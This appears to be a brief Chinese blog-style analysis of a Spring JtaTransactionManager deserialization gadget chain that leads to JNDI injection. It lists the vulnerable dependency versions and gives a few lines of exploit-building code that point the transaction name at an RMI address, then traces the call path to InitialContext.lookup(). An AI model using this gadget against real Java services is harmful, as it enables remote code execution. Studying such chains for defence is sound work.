环境
依赖
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>4.2.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.2.4.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>javax.transaction-api</artifactId>
<version>1.2</version>
</dependency>
</dependencies>
分析
利用链构造
String jndiAddress = "rmi://127.0.0.1:1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
利用链分析
整个利用链是比较简单的,入口点在JtaTransactionManager
的readObject
方法,
不为Null
长度也大于0
这个lookup()函数符合JNDI注入的特征
继续跟入
是InitialContext
最后回调实现了JNDI注入